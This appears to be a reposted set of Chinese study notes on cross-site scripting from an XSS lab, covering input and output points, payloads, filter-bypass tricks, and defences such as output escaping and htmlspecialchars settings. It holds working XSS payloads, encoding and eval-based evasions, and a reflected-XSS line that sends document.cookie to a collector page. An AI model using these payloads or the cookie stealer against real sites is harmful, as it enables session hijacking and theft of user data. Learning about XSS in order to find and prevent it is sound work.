《XSS跨站脚本攻击剖析与防御》

xss-lab体会

探测xss漏洞

  • 先输入测试唯一的字符,确认输入、输出点
  • 可能的输入点
    • 任何可以输入字符的地方
    • http头
    • cookie

利用

  • 语句包含在

    <script> ... </script>
    
  • 事件弹窗

    • <input name="keyword" value="" onclick="alert(123)">
      
    • 常用的事件函数,比如onchange, onclick, oninput

    • 除了利用alert,还有confirm以及prompt

  • 语句包含在<a>标签中,如

    <a href="javascript:alert('123')">点击触发</a> 
    
  • <img src=1 onerror="alert(123)">
    

绕过、过滤

  • 大小写

    • 当程序没有用类似strtolower()函数,将字符统一转为大、小写字符时,可绕过
  • 双写绕过

  • 编码绕过:先HTML字符实体转为16进制,再进行URL编码。(适用于:字符实体类)

  • 遇到将关键字替换为空格的情况

    • 使用 的十六进制%0d%0a
  • 如:

    ```html
    <img%0dsrc=1%0donerror="alert(123)">
    ```
    
    • 注:不换行空格 &nbsp; 不允许换行
  • 遇到必须带某关键字的,可以在注释中添加关键字,也可以直接在事件中添加

    • 如:

      javascript:alert(1)/*http://*/
      
    • 如:

      javascript:alert("http://")
      
  • 前端限制绕过,直接抓包重放,或直接修改HTML

  • 使用注释进行干扰

    <scri<!--test-->pt>....</sc<!--test-->ript>
    
  • 编码

    • 后台过滤了特殊字符,比如<script>标签,但是该标签可以被各种编码,后台不一定会过滤,当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行
    • 注意:HTML实体编码与URL编码不一样
  • 关于htmlspecialchars()函数

    • 功能:把预定义字符转换为HTML实体
    • 可能存在单引号绕过,因为默认编码双引号,不编码单引号。(单引号不属于HTML中规范的实体编码)
    • ENT_COMPAT 默认,仅编码双引号
    • ENT_QUOTES编码双引号和单引号
    • ENT_NOQUOTES不编码任何引号

反射型xss-获取用户cookie

get型

  • 方法:

    • 构造含有代码的url,然后发送给用户,即可触发

    • 直接在输入点输入代码

    • 如:在输入点写入内容

      <script>
      document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie;
      </script>
      #在127.0.0.1搭建一个接收cookie的平台,使用document.cookie获取cookie后,即可传输到接收平台
      

post型

存储型xss钓鱼攻击

存储型xss键盘记录

xss盲打

  • 输出点不直接在前端,只有后台管理员才可见
  • 相当于存储型

xss防御

  • 输入做过滤,输出做转义
    • 过滤
      • 限制输入格式,比如要求输入手机号,则只能输入数字
    • 转义
      • 所有输出到前端的数据都根据输出点进行转义,比如输出到HTML中进行HTML实体转义,输入到JJS里面的进行js转义
    • 防御href输出点
      • 如:<a href='.....'></a> 防止发生xss。可以限制href的格式,只能以http、https开头,然后再进行htmlspecialchars()过滤
    • 防御JS输出点
      • 防止构造闭合</script>。因为JavaScript不会对tag和字符实体进行解释,所以需要进行js转义,但是转义后JS无法识别里面的内容,会影响前端的,所以最好的方法是使用反斜杠对特殊字符进行转义

xss初探

注意

  • 充分利用浏览器特性

产生原因

  • 代码逻辑
  • 浏览器特性
  • 解析差异
  • 服务器端语言的特性
  • 浏览器编码

原理

向HTML代码中注入脚本

概念

  • 输入点

    • 这个提交你的攻击代码的地方就叫做输入点
  • 输出点

    • 显示你具有攻击性代码的那个位置就叫做输出点。
  • 跨域

    • 当协议、子域名、主域名、端口,中的任意一个不相同时,称为不同域,不同域之间请求数据的操作,称为跨域

    • 同源策略

      • (浏览器的一种约定),规定,两个不同域间不能使用JS进行互相操作。比如:x.com域名下的JavaScript不能操作y.com域下的对象

      • 要进行跨域操作,需要管理员进行特殊配置,如:通过header(“Access-Control-Allow-Origin:x.com”)指定跨域源地址

      • 以下标签可以跨域加载资源,不受同源策略影响

        • <script src="..."></script>js加载到本地执行
          
        • <img src="..."> 加载图片
          
        • <link href="...">加载css
          
        • <iframe src="...">加载任意资源
          

类型

反射型

  • 诱使用户访问一个包含恶意执行代码的URL
  • 可以将代码进行编码处理,迷惑用户,如:十进制、十六进制、ESCAPE等编码
  • 只执行一次,非持久化
  • get型
  • post型

存储型

  • 将具有攻击性的代码(又叫playload)持久化的存储在目标业务中的某个地方(比如说数据库, 缓存等),在另一个地方又会把这个攻击代码显示到页面上,显示的时候浏览器会将它当作合法的script脚本执行,便开始执行了具有攻击性的JavaScript脚本。
  • 不需要用户单击URL进行触发,所以可以利用其进行挂马、钓鱼

DOM型

  • 注意

反射型、存储型xss,都是在前端提交数据,然后经过后端处理,再传到前端。DOM型是纯前端操作,不传到后端

危害

  • 网络钓鱼
  • 窃取用户cookie
  • 劫持用户
  • 强制弹出广告,刷流量
  • 网页挂马
  • 进行恶意操作,篡改页面信息
  • 进行大量的客户端攻击,如DDoS攻击
  • 获取用户信息,如浏览历史,真实ip,开放端口
  • 控制机器,当跳板
  • 结合其他漏洞,如CSRF
  • 传播蠕虫

xss简单发掘

  • 方法
    • 黑盒测试
      • 对于xss而言,黑盒效果比白盒好
    • 白盒测试
    • 灰盒测试
  • 反射型
    • 输入框、URL参数、来自cookie、post表单、HTTP头的内容都可能产生xss
  • 存储型

xss Cheat Sheet(xss攻击脚本列表)

xss构造剖析

xss-Filter跨站脚本过滤器

  • 绕过

    • 利用<>标记注射HTML/JavaScript

    • 利用HTML标签属性值执行xss

      • 利用很多HTML中的属性支持 javascript:[code]伪协议的形式,通常只有引用文件的属性才能触发跨站脚本
      如:<img src="javascript:alert(123);">
      
      • 相关属性
        • href=
        • lowsrc=
        • bgsound=
        • background=
        • value=
        • action=
        • dynsrc=
    • 空格、回车、Tab键

      • 如果仅仅把字符做了过滤,则可以使用空格、回车tab键绕过
      • 注:除了在引号中分隔单词或强制结束语句外,若语句不完整,额外的空白无论以何种方式添加都无所谓
    • 对标签属性值转码

      • HTML中属性值本身支持ASCII码形式,支持十进制、十六进制,格式:&#+ASCII码&#+ASCII码;

      • 常见的

        • tab键 &#9
        • 换行符 &#10
        • 回车键 &#13
      • 也可以把&#01;&#02;插入到JavaScript或Vbscript的头部,如

        <img src="&#01;javascript:alert(123)">
        
      • &#09;等字符可以插入到任何位置

    • 产生自己的事件

      • 事件的分类
        • 用户接口(鼠标键盘)
        • 逻辑(处理的结果)
        • 变化(对文档修改)
      • 常用事件
        *
    • 利用css跨站

      • 子主题 1
    • 扰乱过滤规则

  • 利用字符编码

    • javascript中的eval()函数,可计算字符串并执行其中的代码

      • 可使用反斜杠连接十六进制字符串,然后用eval()函数执行,如

        <script>eval("..................");</script>
        
      • 也可用十进制字符串来执行,但需要String.fromCharCode()函数先把ASCII值转为字符串,如

        <img src="javascript:eval(String.fromCharCode(97,108,101,...,...,....,))">
        
    • css中也支持使用反斜杠连接十六进制的字符串

    • 微软的script加密技术,只能在IE上运行

  • 拆分跨站法

    • 条件:
      • 程序没有对关键字过滤,但限制了字符长度
      • 分批次将代码传入

shellcode的调用

  • 远程调用

    • 调用服务器上的js文件
    • 基于DOM的方法创建和插入节点
  • window.location.hash

    • 条件

      • 要能上传文件到指定服务器
    • 利用window.location.hash属性

      • 目的:解决URL长度问题

      • location.hash用来设置页面的标签值

        • http://www.test.com#admin,其location.hash为#admin
      • 如:

        http://www.test.com?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')
        
  • xss Downloader

    • 原理
      • 先把代码存到数据库中,再利用XMLHTTP控件向网站发送一个HTTP请求,然后执行返回的数据
  • 备选存储技术

    • 原理
      • 把代码存到客户端本地域中,如HTTPcookie、UserData、localStorage等
      • 存储到cookie的缺点,cookie被限制在4KB内
      • UserData是微软在IE上开的一块存储空间,大小有640KB
      • localStorage

xss利用方式剖析

发掘xss漏洞

xss Worm剖析

深入xss原理

防御xss攻击

原文地址:https://www.cnblogs.com/hacker-snail/p/14093211.html